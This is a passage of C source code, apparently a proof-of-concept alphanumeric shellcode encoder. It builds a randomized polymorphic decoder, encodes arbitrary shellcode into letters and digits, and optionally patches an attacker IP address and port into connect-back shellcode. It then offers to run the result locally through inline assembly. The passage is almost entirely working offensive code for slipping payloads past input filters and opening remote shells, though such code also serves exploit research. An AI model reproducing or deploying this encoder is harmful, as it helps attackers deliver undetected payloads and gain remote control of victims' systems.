  379.                               imul_instruction_length,   //                                                                        |   |
  380.                               size_decoder,           /////                                                                        |   |
  381.                               backward_slide_offset), //                                                                           |   |
  382.             size_decoder);                            //                                                                           |   |
  383.     offset_imul_instruction -=backward_slide_offset;  //                                                                           |   |
  384.     size_nop_slide1         -=backward_slide_offset;  //                                                                           |   |
  385.     size_nop_slide2         +=backward_slide_offset;  //////////////                                                               |   |
  386.     printf("backward_slide_offset = %d\n", backward_slide_offset);//                                                               |   |
  387.                                                                   ///////////////////////////////////                              |   |
  388.     negative_offset_size_decoder1      = 9;                                                        //                              |   |
  389.     negative_offset_size_decoder2      = 12;                                                       //                              |   |
  390.     negative_offset_size_decoder3      = 15;                                                       //                              |   |
  391.                                                                                                    //                              |   |
  392.     offset_half_size_decoder           = 6;                                                        //                              |   |
  393.     offset_terminating_key             = 8;                                                        //                              |   |
  394.     offset_jne_xor1                    = 21;                                                       //                              |   |
  395.     offset_size_decoder_min_1          = 24;                                                       //                              |   |
  396.                                                                                                    //                              |   |
  397.     offset_imul_key_offset1            = 14 + decoder_length_section1;                             //                              |   |
  398.     offset_imul_key_offset2            = 17 + decoder_length_section1;                             //                              |   |
  399.     offset_size_decoder_pls_2          = 21 + decoder_length_section1;                             //                              |   |
  400.     offset_imul_key_offset3            = 24 + decoder_length_section1;                             //                              |   |
  401.                                                                                                    //                              |   |
  402.     offset_nop_slide1                   = decoder_length_section1+                                 //                              |   |
  403.                                          decoder_length_section2;                                  //                              |   |
  404.     offset_nop_slide2                   = decoder_length_section1+                                 //                              |   |
  405.                                          decoder_length_section2+                                  //                              |   |
  406.                                          size_nop_slide1+                                          //                              |   |
  407.                                          imul_instruction_length;                                  //                              |   |
  408.                                                                                                    //                              |   |
  409.     offset_imul_instruction1           = offset_imul_instruction;                                  //                              |   |
  410.     offset_imul_instruction2           = offset_imul_instruction+1;                                //                              |   |
  411.     offset_imul_instruction3           = offset_imul_instruction+2;                                //                              |   |
  412.     offset_imul_instruction4           = offset_imul_instruction+3;                                //                              |   |
  413.                                                                                                    //                              |   |
  414.                                                                                                    //                              |   |
  415.     offset_imul_key                    = offset_imul_instruction4;                                 //                              |   |
  416.                                                                                                    //                              |   |
  417.     offset_jne_xor2                    = size_decoder-1;                                           //                              |   |
  418.     jne_xor_negative_offset            = decoder_length_section3+                                  //                              |   |
  419.                                          decoder_length_section2+                                  //                              |   |
  420.                                          size_nop_slide2+                                          //                              |   |
  421.                                          imul_instruction_length+                                  //                              |   |
  422.                                          size_nop_slide1;                                          //                              |   |
  423.                                                                                                    //                              |   |
  424.                                                                                                    //                              |   |
  425.     printf("size_decoder=0x%2X - %s\n",                                                            //                              |   |
  426.         (UCHAR)size_decoder,                                                                       //////                          |   |
  427.         is_alnum((UCHAR)size_decoder+(decoder_version_1?0:2))?"valid":"invalid - not alphanumeric!!!");//                          |   |
  428.     *(decoder+offset_imul_instruction3)                 = size_decoder+(decoder_version_1?0:2);    //////                          |   |
  429.                                                                                                    //                              |   |
  430.     printf("half_size_decoder=0x%2X - %s\n",                                                       //                              |   |
  431.         (UCHAR)half_size_decoder,                                                                  //                              |   |
  432.         is_alnum((UCHAR)half_size_decoder)?"valid":"invalid - not alphanumeric!!!");               //                              |   |
  433.     *(decoder+offset_half_size_decoder)                   = half_size_decoder;                     //                              |   |
  434.                                                                                                    //                              |   |
  435.     printf("offset_imul_key=0x%2X - %s\n",                                                         //                              |   |
  436.         (UCHAR)offset_imul_key,                                                                    //                              |   |
  437.         is_alnum((UCHAR)offset_imul_key)?"valid":"invalid - not alphanumeric!!!");                 //                              |   |
  438.     *(decoder+offset_imul_key_offset1)                    = offset_imul_key;                       //                              |   |
  439.     *(decoder+offset_imul_key_offset2)                    = offset_imul_key;                       //                              |   |
  440.     *(decoder+offset_imul_key_offset3)                    = offset_imul_key;                       //                              |   |
  441.     //                                                                                             //                              |   |
  442.     printf("size_decoder-1=0x%2X - %s\n",                                                          //                              |   |
  443.         (UCHAR)size_decoder-1,                                                                     //                              |   |
  444.         is_alnum((UCHAR)(size_decoder-1))?"valid":"invalid - not alphanumeric!!!");                //                              |   |
  445.     *(decoder+offset_size_decoder_min_1)                  = size_decoder-1;                        //                              |   |
  446.                                                                                                    //                              |   |
  447.     printf("size_decoder+2=0x%2X - %s\n",                                                          //                              |   |
  448.         (UCHAR)size_decoder+2,                                                                     ////////                        |   |
  449.         is_alnum((UCHAR)(size_decoder+(decoder_version_1?2:0)))?"valid":"invalid - not alphanumeric!!!");//                        |   |
  450.     *(decoder+offset_size_decoder_pls_2)                = size_decoder+(decoder_version_1?2:0);    ////////                        |   |
  451.                                                                                                    //                              |   |
  452.     *(decoder+size_decoder-negative_offset_size_decoder1) = size_decoder;                          //                              |   |
  453.     *(decoder+size_decoder-negative_offset_size_decoder2) = size_decoder;                          //                              |   |
  454.     *(decoder+size_decoder-negative_offset_size_decoder3) = size_decoder;                          //////////////////////////////  |   |
  455.                                                                                                                                //  |   |
  456.     *(decoder+offset_jne_xor1)                     = get_two_xor_complemets_for_byte_and_xor((UCHAR)(-jne_xor_negative_offset),//  |   |
  457.                                                                                              '\xFF',                           //  |   |
  458.                                                                                              0);                               //  |   |
  459.     *(decoder+offset_jne_xor2)                     = get_two_xor_complemets_for_byte_and_xor((UCHAR)(-jne_xor_negative_offset),//  |   |
  460.                                                                                              '\xFF',                           //  |   |
  461.                                                                                              1);                               //  |   |
  462. #ifdef CONNECT_BACK_SHELLCODE                                                                                                  //  |   |
  463.     ip_address                                     = ip_str_to_dw(IP_ADDRESS);///////////////////////////////////////////////////  |   |
  464.     if (ip_address == -1)    ///////////////////////////////////////////////////                                                   |   |
  465.         exit(-1);            //                                                                                                    |   |
  466.                              ///////////////////////////////////                                                                   |   |
  467.     //set shellcode with ip address and port for connect-back //                                                                   |   |
  468.     ///*                                                      //////////                                                           |   |
  469.     *((DWORD *)(p_shellcode+OFFSET_IP_ADDRESS))           = ip_address;/////////////////                                           |   |
  470.     *((DWORD *)(p_shellcode+OFFSET_TCP_PORT_NUMBER))      = my_htonl(TCP_PORT_NUMBER);//                                           |   |
  471.     *(p_shellcode+OFFSET_TCP_PORT_NUMBER)                 = (UCHAR)2;                 //                                           |   |
  472. #endif                                        //////////////////////////////////////////                                           |   |
  473.     //*/                                      //                                                                                   |   |
  474.     //set decoder with 'random' nop slides    //                                                                                   |   |
  475.     strncpy(decoder+offset_nop_slide1,        ////////////////////////////                                                         |   |
  476.             shuffle(get_nop_slide(size_nop_slide1, 1), size_nop_slide1),//                                                         |   |
  477.             size_nop_slide1);                                           //                                                         |   |
  478.     strncpy(decoder+offset_nop_slide2,                                  //                                                         |   |
  479.             shuffle(get_nop_slide(size_nop_slide2, 2), size_nop_slide2),//                                                         |   |
  480.             size_nop_slide2);              ///////////////////////////////                                                         |   |
  481.                                            //                                                                                      |   |
  482.     //set decoder with random initial key  ////////////////////////////////////////////                                            |   |
  483.     *(decoder+offset_imul_key)                            = get_random_alnum_value();//                                            |   |
  484.     printf("initial key=0x%2X - %s\n",                                               //////////////                                |   |
  485.            (UCHAR)*(decoder+offset_imul_key),                                                    //                                |   |
  486.            is_alnum((UCHAR)*(decoder+offset_imul_key))?"valid":"invalid - not alphanumeric!!!"); //                                |   |
  487.                                                                                                  //                                |   |
  488.                                                                                      //////////////                                |   |
  489.                                                                                      //                                            |   |
  490.     //set decoder with 'random' dword pushes for registers we won't use              ////////////////                              |   |
  491.     *(decoder+OFFSET_PUSH_DWORD1)                         = get_random_alnum_push_dword_opcode();  //                              |   |
  492.     printf("push dword1=0x%2X - %s\n",                                                             //                              |   |
  493.            (UCHAR)*(decoder+OFFSET_PUSH_DWORD1),                                                   //                              |   |
  494.            is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD1))?"valid":"invalid - not alphanumeric!!!");//                              |   |
  495.     *(decoder+OFFSET_PUSH_DWORD2)                         = get_random_alnum_push_dword_opcode();  //                              |   |
  496.     printf("push dword2=0x%2X - %s\n",                                                             //                              |   |
  497.            (UCHAR)*(decoder+OFFSET_PUSH_DWORD2),                                                   //                              |   |
  498.            is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD2))?"valid":"invalid - not alphanumeric!!!");//                              |   |
  499.     *(decoder+OFFSET_PUSH_DWORD3)                         = get_random_alnum_push_dword_opcode();  //                              |   |
  500.     printf("push dword3=0x%2X - %s\n",                                                             //                              |   |
  501.            (UCHAR)*(decoder+OFFSET_PUSH_DWORD3),                                                   //                              |   |
  502.            is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD3))?"valid":"invalid - not alphanumeric!!!");//                              |   |
  503.     *(decoder+OFFSET_PUSH_DWORD4)                         = get_random_alnum_push_dword_opcode();  //                              |   |
  504.     printf("push dword4=0x%2X - %s\n",                                                             //                              |   |
  505.            (UCHAR)*(decoder+OFFSET_PUSH_DWORD4),                                                   //                              |   |
  506.            is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD4))?"valid":"invalid - not alphanumeric!!!");//                              |   |
  507.                                                                                                    //                              |   |
  508.     //bugfix: this time after srand() :)                                                           //                              |   |
  509.     xor_al1=get_random_alnum_value();                                                              //                              |   |
  510.     xor_al2=get_random_alnum_value();                                                              //                              |   |
  511.     *(decoder+OFFSET_XOR_AL1_A) = xor_al1;                                                         //                              |   |
  512.     *(decoder+OFFSET_XOR_AL1_B) = xor_al1;                                                         //                              |   |
  513.     *(decoder+OFFSET_XOR_AL2_A) = xor_al2;                                                         //                              |   |
  514.     *(decoder+OFFSET_XOR_AL2_B) = xor_al2;                                                         //                              |   |
  515.                                                                                                    //                              |   |
  516.     memcpy(decoder+OFFSET_RANDOMIZED_DECODER_HEAD,                                             //////                              |   |
  517.            randomize_decoder_head(decoder, size_decoder, xor_al1, *(decoder+offset_jne_xor1)), // <---here-------------------------|---'
  518.            SIZE_RANDOMIZED_DECODER_HEAD);                                                      //////                              |
  519.     //set first xor1 to random alnum value (this is the first byte of the encoded data)            //                              |
  520.     xor1                                                  = get_random_alnum_value();              //                              |
  521.     printf("xor1=0x%2X - %s\n",                                                                    //                              |
  522.            (UCHAR)xor1,                                                                            //                              |
  523.            is_alnum((UCHAR)xor1)?"valid":"invalid - not alphanumeric!!!");                         //                              |
  524.                                             /////////////////////////////////////////////////////////                              |
  525. RE_RUN:                                     //                                                                                     |
  526.     sprintf(alnum_shellcode, "%s",decoder); //                                                                                     |
  527.     memset(temp_buf, 0, 3);///////////////////                                                                                     |
  528.     for(i=0; i<size; i++)  //                                                                                                      |
  529.     {   /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////      |
  530.         // each original byte is encoded into 3 alphanumeric bytes where first_byte*third_byte^second_byte==original_byte  //      |
  531.         // third_byte is the next encoded original byte's first_byte                                                       //      |
  532.         // the first byte of the terminating key is the last byte's third_byte                                             /////// |
  533.         p_xor2_key=get_xor2_and_key_for_xor1_and_c(xor1, shellcode[i]);//get a list of second_byte and third_byte for first_byte// |
  534.         if(!p_xor2_key)                                                                                                    /////// |
  535.             goto RE_RUN;                                                                                                   //      |
  536.         p_xor2_key = choose_random_node(p_xor2_key);//choose a random combination////////////////////////////////////////////      |
  537.         key=p_xor2_key->key;                                           //                                                          |
  538.         xor2=p_xor2_key->xor2;                                         //                                                          |
  539.         temp_buf[0] = xor1;                                            //                                                          |
  540.         temp_buf[1] = xor2;                                            //                                                          |
  541.         strcat(alnum_shellcode, temp_buf); // append it to our decoder //                                                          |
  542.         xor1=key;                                                      //                                                          |
  543.         free_p_xor2_key(p_xor2_key); // free the list                  //                                                          |
  544.     } //get next original_byte                                         //                                                          |
  545.                                                                        ////////////////////////                                    |
  546.     if (terminating_key_exist(alnum_shellcode+sizeof(decoder), str_end_of_encoded_shellcode))//                                    |
  547.     {                                                                                        //                                    |
  548.         printf("error - terminating key found in encoded shellcode. running again to fix\n");//                                    |
  549.         goto RE_RUN;                                                                         //                                    |
  550.     }                                     /////////////////////////////////////////////////////                                    |
  551.     *(UCHAR*)(alnum_shellcode+8)  = key; // set the last key of the encoded data to be the first byte of the terminating string    |
  552.     *(UCHAR*)(alnum_shellcode+9)  = get_random_alnum_value(); // choose 3 random alnum bytes for the rest of the terminating string|
  553.     *(UCHAR*)(alnum_shellcode+10) = get_random_alnum_value(); // choose 3 random alnum bytes for the rest of the terminating string|
  554.     *(UCHAR*)(alnum_shellcode+11) = get_random_alnum_value(); // choose 3 random alnum bytes for the rest of the terminating string|
  555.     strncat(alnum_shellcode,                                  // append the terminating string to the decoder+encoded shellcode    |
  556.             (UCHAR*)(alnum_shellcode+offset_terminating_key), //////////////////////////////                                       |
  557.             4);                                                                           //                                       |
  558.                                                                                           //                                       |
  559.     //bugfix: handle case of esp pointing to shellcode                                    //                                       |
  560.     if (!strcmp(Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE), "esp"))                            //                                       |
  561.     {                                                                                     //                                       |
  562.         //    _asm{                                                                       //                                       |
  563.         //        push esp;                                                               //                                       |
  564.         //        pop eax;                                                                //                                       |
  565.         //        xor al, 0x36;                                                           //                                       |
  566.         //        xor al, 0x30;                                                           //                                       |
  567.         //    }                                                                           //                                       |
  568.         p_alnum_shellcode = malloc(strlen(alnum_shellcode)+1+6);                          //                                       |
  569.         memset(p_alnum_shellcode, 0, strlen(alnum_shellcode)+1+6);                        //                                       |
  570.         memcpy(p_alnum_shellcode+6, alnum_shellcode, strlen(alnum_shellcode)+1);          //                                       |
  571.         p_alnum_shellcode[0] = 'T';                                                       //                                       |
  572.         p_alnum_shellcode[1] = 'X'; // todo: randomize by using other registers than eax  //                                       |
  573.         p_alnum_shellcode[2] = '4'; //       and using other xor values                   //                                       |
  574.         p_alnum_shellcode[3] = '6'; // <-- (x+6)                                          //                                       |
  575.         p_alnum_shellcode[4] = '4'; //                                                    //                                       |
  576.         p_alnum_shellcode[5] = '0'; // <-- x                                              //                                       |
  577.         p_alnum_shellcode[8] = get_push_register_instruction("eax");                      //                                       |
  578.         p_alnum_shellcode[9] = get_push_register_instruction("eax");                      //                                       |
  579.         size_decoder += 6;                                                                //                                       |
  580.     }                                                                                     //                                       |
  581.                                                                                           //                                       |
  582.     printf("encoded shellcode length: %d\n", strlen(alnum_shellcode)-size_decoder);       //                                       |
  583.     printf("decoder length: %d\n%s\n",                                                    //                                       |
  584.         size_decoder,                                                                     //                                       |
  585.         p_alnum_shellcode);                                                               //                                       |
  586.                                                                                           //                                       |
  587.     printf("scanning alnum_shellcode for shellcode up to size bytes\n");                  //                                       |
  588.     found_msg = scan_str_known_pattern(alnum_shellcode, shellcode, size);                 /////////                                |
  589.     if (found_msg) printf("shellcode found encoded in alnum_shellcode using %s.\n", found_msg);  //                                |
  590.     else printf("shellcode not found encoded in alnum_shellcode.\n");   ///////////////////////////                                |
  591.                                                                         //                                                         |
  592.     if (str_is_alnum(alnum_shellcode))                                  //                                                         |
  593.     {                                                                   //                                                         |
  594.         printf("execute shellcode locally? (hit: y and press enter): ");//                                                         |
  595.         if(tolower(getchar()) == 'y')                                   //                                                         |
  596.         {                                                    /////////////                                                         |
  597.             _asm                                             //                                                                    |
  598.             {                                                //                                                                    |
  599.                 push p_alnum_shellcode;                ////////                                                                    |
  600.                 pop REGISTER_WITH_ADDRESS_OF_SHELLCODE;// <------------------------------------------------------------------------'
  601.                 //jump to head of decoder              //
  602.                 jmp REGISTER_WITH_ADDRESS_OF_SHELLCODE;//
  603.             }                              //////////////            
  604.         }                                  //            
  605.     }                                      //            
  606.     else                                   //            
  607.     {                                      ///////////////
  608.         printf("error non-alphanumeric shellcode\n");   //
  609.     }                       //////////////////////////////
  610.                      /////////                            
  611.                      //
  612.     return 0;    //////                                      
  613. }                //                                      
  614. ///////////////////                                        
  615.  
  616. BOOL arg1_imul_arg2_xor_arg3(UCHAR *alnum_str,
  617.                              UCHAR *known_pattern,
  618.                              UINT known_pattern_length,
  619.                              UINT offset1,
  620.                              UINT offset2,
  621.                              UINT offset3)
  622. {
  623.     UINT offset,
  624.          i,
  625.          found;
  626.          
  627.     for (i=found=offset=0; i<known_pattern_length; i++)
  628.     {
  629.         while(*(alnum_str+offset))
  630.         {
  631.             if((UCHAR)((alnum_str[offset+offset1]*alnum_str[offset+offset2])^alnum_str[offset+offset3])==
  632.                (UCHAR)known_pattern[i])
  633.             {
  634.                 offset+=2;
  635.                 found++;
  636.                 break;
  637.             }
  638.             else if((UCHAR)((alnum_str[offset+offset1+1]*alnum_str[offset+offset2+1])^alnum_str[offset+offset3+1])==
  639.                     (UCHAR)known_pattern[i])
  640.             {
  641.                 offset+=3;
  642.                 found++;
  643.                 break;
  644.             }
  645.             else
  646.             {
  647.                 found=0;
  648.                 i=0;
  649.                 offset++;
  650.             }
  651.         }
  652.     }
  653.     if(found == known_pattern_length)
  654.         return 1;
  655.     else
  656.         return 0;
  657. }
  658. BOOL arg1_xor_arg2_imul_arg3(UCHAR *alnum_str,
  659.                              UCHAR *known_pattern,
  660.                              UINT known_pattern_length,
  661.                              UINT offset1,
  662.                              UINT offset2,
  663.                              UINT offset3)
  664. {
  665.     UINT offset,
  666.          i,
  667.          found;
  668.          
  669.     for (i=found=offset=0; i<known_pattern_length; i++)
  670.     {
  671.         while(*(alnum_str+offset))
  672.         {
  673.             if((UCHAR)((alnum_str[offset+offset1]^alnum_str[offset+offset2])*alnum_str[offset+offset3])==
  674.                (UCHAR)known_pattern[i])
  675.             {
  676.                 offset+=2;
  677.                 found++;
  678.                 break;
  679.             }
  680.             else if((UCHAR)((alnum_str[offset+offset1+1]^alnum_str[offset+offset2+1])*alnum_str[offset+offset3+1])==
  681.                     (UCHAR)known_pattern[i])
  682.             {
  683.                 offset+=3;
  684.                 found++;
  685.                 break;
  686.             }
  687.             else
  688.             {
  689.                 found=0;
  690.                 i=0;
  691.                 offset++;
  692.             }
  693.         }
  694.     }
  695.     if(found == known_pattern_length)
  696.         return 1;
  697.     else
  698.         return 0;
  699. }
  700. BOOL arg1_imul_key_xor_arg2(UCHAR *alnum_str,
  701.                              UCHAR *known_pattern,
  702.                              UINT known_pattern_length,
  703.                              UCHAR key,
  704.                              UINT offset1,
  705.                              UINT offset2)
  706. {
  707.     UINT offset,
  708.          i,
  709.          found;
  710.          
  711.     for (i=found=offset=0; i<known_pattern_length; i++)
  712.     {
  713.         while(*(alnum_str+offset))
  714.         {
  715.             if((UCHAR)((alnum_str[offset+offset1]*key)^alnum_str[offset+offset2])==
  716.                (UCHAR)known_pattern[i])
  717.             {
  718.                 offset+=2;
  719.                 found++;
  720.                 break;
  721.             }
  722.             else if((UCHAR)((alnum_str[offset+offset1+1]*key)^alnum_str[offset+offset2+1])==
  723.                     (UCHAR)known_pattern[i])
  724.             {
  725.                 offset+=3;
  726.                 found++;
  727.                 break;
  728.             }
  729.             else
  730.             {
  731.                 found=0;
  732.                 i=0;
  733.                 offset++;
  734.             }
  735.         }
  736.     }
  737.     if(found == known_pattern_length)
  738.         return 1;
  739.     else
  740.         return 0;
  741. }
  742.  
  743. UCHAR *scan_str_known_pattern(UCHAR *alnum_str, UCHAR *known_pattern, UINT known_pattern_length)
  744. {
  745.     UCHAR *alnum = malloc(strlen(ALNUM_CHARSET)+1);
  746.     UCHAR *temp_buf = malloc(255);
  747.     strncpy(alnum, ALNUM_CHARSET, strlen(ALNUM_CHARSET));
  748.     alnum[strlen(ALNUM_CHARSET)]=0;
  749.     memset(temp_buf, 0, 255);
  750.     //this is not for production, just a poc...
  751.     while(*alnum) {
  752.         if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, *alnum++, 0, 1))
  753.         {
  754.             alnum--;
  755.             strcat(temp_buf, "(buf[0]*'");
  756.             temp_buf[strlen(temp_buf)] = *alnum;
  757.             strcat(temp_buf, "')^buf[1]");
  758.             return(temp_buf);
  759.         }
  760.     }
  761.     alnum-=strlen(ALNUM_CHARSET);
  762.     while(*alnum) {
  763.         if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, *alnum++, 1, 0))
  764.         {
  765.             alnum--;
  766.             printf("key = 0x%2X ('%c')\n", *alnum, *alnum);
  767.             return("found pattern using: (buf[1]*key)^buf[0]\n");
  768.         }
  769.     }
  770.     if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, 0x30, 0, 1))
  771.         return("(buf[0]*0x30)^buf[1]");
  772.     else if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, 0x30, 1, 0))
  773.         return("(buf[1]*0x30)^buf[0]");
  774.     else if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, 0x10, 0, 1))
  775.         return("(buf[0]*0x10)^buf[1]");
  776.     else if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, 0x10, 1, 0))
  777.         return("(buf[1]*0x10)^buf[0]");
  778.     else if (arg1_imul_arg2_xor_arg3(alnum_str, known_pattern, known_pattern_length, 0, 1, 2))
  779.         return("(buf[0]*buf[1])^buf[2]");
  780.     else if (arg1_imul_arg2_xor_arg3(alnum_str, known_pattern, known_pattern_length, 0, 2, 1))
  781.         return("(buf[0]*buf[2])^buf[1]");
  782.     else if (arg1_imul_arg2_xor_arg3(alnum_str, known_pattern, known_pattern_length, 1, 2, 0))
  783.         return("(buf[1]*buf[2])^buf[0]");
  784.     else if (arg1_xor_arg2_imul_arg3(alnum_str, known_pattern, known_pattern_length, 0, 1, 2))
  785.         return("(buf[0]^buf[1])*buf[2]");
  786.     else if (arg1_xor_arg2_imul_arg3(alnum_str, known_pattern, known_pattern_length, 0, 2, 1))
  787.         return("(buf[0]^buf[2])*buf[1]");
  788.     else if (arg1_xor_arg2_imul_arg3(alnum_str, known_pattern, known_pattern_length, 1, 2, 0))
  789.         return("(buf[1]^buf[2])*buf[0]");
  790.     else
  791.         return "";
  792. }
  793.  
  794. BOOL is_alnum(UCHAR c)
  795. {
  796.     char *alnum = ALNUM_CHARSET;
  797.     char search_c[2] = "";
  798.     search_c[0] = c;
  799.     return((BOOL)strstr(alnum, search_c));
  800. }
  801.  
  802. BOOL str_is_alnum(UCHAR *str)
  803. {
  804.     ULONG length;
  805.     length = strlen(str);
  806.     for(;length>0;length--) {
  807.         if(
  808.             !is_alnum(str[length-1])
  809.         )
  810.             return 0;
  811.     }
  812.     return 1;
  813. }
  814.  
  815. UCHAR get_two_xor_complemets_for_byte_and_xor(UCHAR byte, UCHAR xor, int index)
  816. {
  817.     int xor_complement_1, xor_complement_2;
  818.     UCHAR two_xor_complements[3];
  819.  
  820.     for(xor_complement_1=0; xor_complement_1<MAX_BYTES; xor_complement_1++)
  821.     {
  822.         if (is_alnum((UCHAR)xor_complement_1))
  823.         {
  824.             for(xor_complement_2=0; xor_complement_2<MAX_BYTES; xor_complement_2++)
  825.             {
  826.                 if (is_alnum((UCHAR)xor_complement_2))
  827.                 {
  828.                     if(byte == (xor ^ xor_complement_1 ^ xor_complement_2))
  829.                     {
  830.                         two_xor_complements[0] = (UCHAR)xor_complement_1;
  831.                         two_xor_complements[1] = (UCHAR)xor_complement_2;
  832.                     }
  833.                 }
  834.             }
  835.         }
  836.     }
  837.     if(index == 0 || index == 1)
  838.         return two_xor_complements[index];
  839.     else
  840.         return (UCHAR)0;
  841. }
  842.  
  843. BOOL terminating_key_exist(UCHAR *alnum_shellcode, UCHAR *terminating_key)
  844. {
  845.     return (BOOL) strstr(alnum_shellcode, terminating_key);
  846. }
  847.  
  848. DWORD ip_str_to_dw(UCHAR *str)
  849. {
  850.     DWORD x[4];
  851.     int dwIpAddress;
  852.  
  853.     if (!str || MAX_IP_STR_LEN < strlen(str) || strlen(str) < MIN_IP_STR_LEN)
  854.         return -1;
  855.      
  856.     sscanf(str, "%d.%d.%d.%d", &x[0],&x[1],&x[2],&x[3]);
  857.  
  858.     x[3] = x[3] > 255 ? -1 : (x[3] <<= 24);
  859.     x[2] = x[2] > 255 ? -1 : (x[2] <<= 16);
  860.     x[1] = x[1] > 255 ? -1 : (x[1] <<= 8);
  861.     x[0] = x[0] > 255 ? -1 : (x[0] <<= 0);
  862.     dwIpAddress = x[0]+x[1]+x[2]+x[3];
  863.  
  864.  
  865.     return dwIpAddress;
  866. }
  867.  
  868. DWORD my_htonl(DWORD dw_in)
  869. {
  870.     DWORD dw_out;
  871.  
  872.     *((UCHAR *)&dw_out+3) = *((UCHAR *)&dw_in+0);
  873.     *((UCHAR *)&dw_out+2) = *((UCHAR *)&dw_in+1);
  874.     *((UCHAR *)&dw_out+1) = *((UCHAR *)&dw_in+2);
  875.     *((UCHAR *)&dw_out+0) = *((UCHAR *)&dw_in+3);
  876.  
  877.     return dw_out;
  878. }
  879.  
  880. void free_p_xor2_key(struct xor2_key *node)
  881. {
  882.     struct xor2_key *temp = 0;
  883.  
  884.     if(node)
  885.     {
  886.         temp = node->prev;
  887.         while(node->next)
  888.         {
  889.             node=node->next;
  890.             free(node->prev);
  891.         }
  892.         free(node);
  893.     }
  894.     if(temp)
  895.     {
  896.         while(temp->prev)
  897.         {
  898.             temp=temp->prev;
  899.             free(temp->next);
  900.         }
  901.         free(temp);
  902.     }
  903. }
  904.  
  905. struct xor2_key *choose_random_node(struct xor2_key *head)
  906. {
  907.     int num_nodes = 1, selected_node, i;
  908.     struct xor2_key* tail = head;
  909.      
  910.     struct xor2_key* pn = NULL ;
  911.  
  912.     if (!head || !head->key)
  913.         return 0;
  914.  
  915.     while(tail->next)
  916.     {
  917.         tail = tail->next;
  918.         num_nodes++;
  919.     }
  920.  
  921.     selected_node = rand()%num_nodes;
  922.  
  923.     for(i=0; i<selected_node; i++)
  924.         head = head->next;
  925.  
  926.     return head;
  927. }
  928.  
  929. struct xor2_key *get_xor2_and_key_for_xor1_and_c(UCHAR xor1, UCHAR c)
  930. {
  931.     struct xor2_key *p_xor2_key, *p_xor2_key_head;
  932.     char *alnum = ALNUM_CHARSET;
  933.     UINT    i=0,
  934.             z=1,
  935.             r=0,
  936.             count=0;
  937.     UCHAR   xor2=0,
  938.             x=0;
  939.  
  940.     p_xor2_key_head = p_xor2_key = malloc(sizeof(xor2_key));
  941.     p_xor2_key->prev   = 0;
  942.     p_xor2_key->next   = 0;
  943.     p_xor2_key->key    = 0;
  944.     p_xor2_key->xor2   = 0;
  945.  
  946.     for(i=0; alnum[i]; i++)
  947.     {
  948.         for(x=0; alnum[x];x++)
  949.         {
  950.             xor2 = alnum[x];
  951.             if (((UCHAR)(xor1 * alnum[i]) ^ xor2) == c)
  952.             {
  953.                 p_xor2_key->xor2 = xor2;
  954.                 p_xor2_key->key  = alnum[i];
  955.                 p_xor2_key->next = malloc(sizeof(struct xor2_key));
  956.                 p_xor2_key->next->prev = p_xor2_key;
  957.                 p_xor2_key = p_xor2_key->next;
  958.                 p_xor2_key->key=0;
  959.                 p_xor2_key->xor2=0;
  960.             }
  961.         }
  962.     }
  963.  
  964.     if(!p_xor2_key->key)
  965.         p_xor2_key->next = 0;
  966.     if (p_xor2_key->prev)
  967.         p_xor2_key = p_xor2_key->prev;
  968.     else
  969.         return 0;
  970.     free(p_xor2_key->next);
  971.     p_xor2_key->next=0;
  972.     return p_xor2_key_head;
  973. }
  974.  
  975. UCHAR *shuffle(UCHAR str[], UINT length) //length does not include terminating null.
  976. {
  977.     UINT last, randomNum;
  978.     UCHAR temporary;
  979.     UCHAR *output = malloc(length);
  980.     memcpy(output, str, length);
  981.     for (last = length; last > 1; last--)
  982.     {
  983.        randomNum = rand( ) % last;
  984.        temporary = output[randomNum];
  985.        output[randomNum] = output[last-1];
  986.        output[last-1] = temporary;
  987.     }
  988.     memcpy(str, output, length);
  989.     return output;
  990. }// taken from: http://www.warebizprogramming.com/text/cpp/section6/part8.htm
  991.  
  992.  
  993. UCHAR *slide_substr_back(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide)
  994. {
  995.     UCHAR *prefix_substr,
  996.         *substr,
  997.         *suffix_substr,
  998.         *output_str;
  999.     UINT prefix_substr_len,
  1000.         suffix_substr_len;
  1001.  
  1002.  
  1003.     if(slide > substr_offset) {
  1004.         printf("you can't slide it that far back!\n");
  1005.         return 0;
  1006.     }
  1007.  
  1008.     output_str = malloc(str_len);
  1009.     memset(output_str, 0 , str_len);
  1010.  
  1011.     suffix_substr_len = str_len-substr_len-substr_offset;
  1012.     suffix_substr = malloc(suffix_substr_len);
  1013.     memset(suffix_substr, 0, suffix_substr_len);
  1014.  
  1015.     prefix_substr_len = substr_offset;
  1016.     prefix_substr = malloc(prefix_substr_len);
  1017.     memset(prefix_substr, 0, prefix_substr_len);
  1018.      
  1019.     substr = malloc(substr_len);
  1020.     memset(substr, 0, substr_len);
  1021.  
  1022.     strncpy(substr, str+substr_offset, substr_len);
  1023.     strncpy(prefix_substr, str, prefix_substr_len);
  1024.     strncpy(suffix_substr, str+substr_offset+substr_len, suffix_substr_len);
  1025.  
  1026.     strncpy(output_str, prefix_substr, prefix_substr_len-slide);
  1027.     strncpy(output_str+prefix_substr_len-slide, substr, substr_len);
  1028.     strncpy(output_str+prefix_substr_len-slide+substr_len, str+substr_offset-slide, slide);
  1029.     strncpy(output_str+prefix_substr_len-slide+substr_len+slide, str+substr_offset+substr_len, suffix_substr_len);
  1030.  
  1031.  
  1032.     free(prefix_substr);
  1033.     free(suffix_substr);
  1034.     free(substr);
  1035.     return output_str;
  1036. }
  1037.  
  1038. UCHAR *slide_substr_forward(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide)
  1039. {
  1040.     UCHAR *prefix_substr,
  1041.         *substr,
  1042.         *suffix_substr,
  1043.         *output_str;
  1044.     UINT prefix_substr_len,
  1045.         suffix_substr_len;
  1046.  
  1047.  
  1048.     if(slide > str_len-substr_len-substr_offset) {
